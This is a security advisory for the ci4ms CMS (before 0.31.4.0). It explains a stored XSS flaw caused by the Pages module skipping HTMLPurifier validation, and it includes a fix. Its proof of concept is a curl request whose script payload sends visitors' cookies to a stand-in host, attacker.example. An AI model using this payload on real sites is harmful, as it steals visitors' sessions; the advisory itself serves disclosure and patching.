| Package | Affected versions | Patched versions |
|---|---|---|
| ci4-cms-erp/ci4ms | < 0.31.4.0 | 0.31.4.0 |
| ci4ms | < 0.31.4.0 | 0.31.4.0 |
The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.
The Blog module correctly applies HTMLPurifier sanitization to content fields:
modules/Blog/Controllers/Blog.php:82
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
The Pages module omits this rule in both create and update methods:
modules/Pages/Controllers/Pages.php:82 (create)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
modules/Pages/Controllers/Pages.php:130 (update)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
Content is stored directly without sanitization:
modules/Pages/Controllers/Pages.php:111 (create path)
'content' => $lData['content'],
modules/Pages/Controllers/Pages.php:157 (update path)
'content' => $lData['content'],
On the public frontend, the content is rendered as raw HTML without escaping:
app/Views/templates/default/pages.php:32
<?php echo $pageInfo->content ?>
Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.
The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.
Step 1: Create a page with XSS payload (requires admin session)
curl -X POST https://target/backend/pages/create \
-b 'ci_session=ADMIN_SESSION_COOKIE' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeStep 2: Visit the page as any unauthenticated user
https://target/tr/test-xss-page
Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.
The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.
Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:
modules/Pages/Controllers/Pages.php:82 — change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
to:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
modules/Pages/Controllers/Pages.php:130 — apply the same change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.